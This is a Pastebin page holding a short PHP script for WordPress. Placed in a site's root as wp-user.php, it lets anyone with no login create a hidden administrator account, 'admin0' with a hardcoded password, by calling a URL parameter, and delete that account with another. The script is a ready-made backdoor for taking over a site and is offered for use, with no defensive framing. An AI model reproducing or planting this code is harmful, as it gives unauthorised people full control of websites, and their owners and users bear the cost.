Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- Add admin user to the wordpress database.
- How to Use:
- For create a user: site.com/wp-user.php?a=c
- For delete a user: site.com/wp-user.php?a=d
- */
- require_once('wp-config.php');
- $opt = isset($_GET['a']) ? strip_tags($_GET['a']) : 'none';
- $user_name = "admin0";
- $pass = "admin0123";
- $user = $wpdb->get_row("SELECT * FROM " . $wpdb->users . " WHERE user_login='" . $user_name . "'");
- $user_id = $user->ID;
- $tblprefix = $wpdb->prefix;
- if ($opt == "c")
- {
- if (!$user_id) {
- $password = wp_hash_password($pass);
- $data_user = array(
- 'user_login' => $user_name,
- 'user_status' => 0,
- 'user_pass' => $password
- );
- $wpdb->insert($wpdb->users, $data_user);
- $user_id = $wpdb->insert_id;
- $data_usermeta = array(
- 'user_id' => $user_id,
- 'meta_key' => 'wp_capabilities',
- 'meta_value' => "a:1:{s:13:\"administrator\";b:1;}"
- );
- $wpdb->insert($wpdb->usermeta, $data_usermeta);
- $data_usermeta = array(
- 'user_id' => $user_id,
- 'meta_key' => 'wp_user_level',
- 'meta_value' => '10'
- );
- $wpdb->insert($wpdb->usermeta, $data_usermeta);
- echo "User created!!";
- } else {
- $random_password = __('User already exists. Password inherited.');
- }
- } else if($opt == "d")
- {
- $wpdb->query("DELETE FROM " . $wpdb->users . " WHERE ID=" . $user_id);
- $wpdb->query("DELETE FROM " . $wpdb->usermeta . " WHERE ID=" . $user_id);
- echo "User deleted!";
- }
- else
- {
- echo "Nothing here!!\n";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement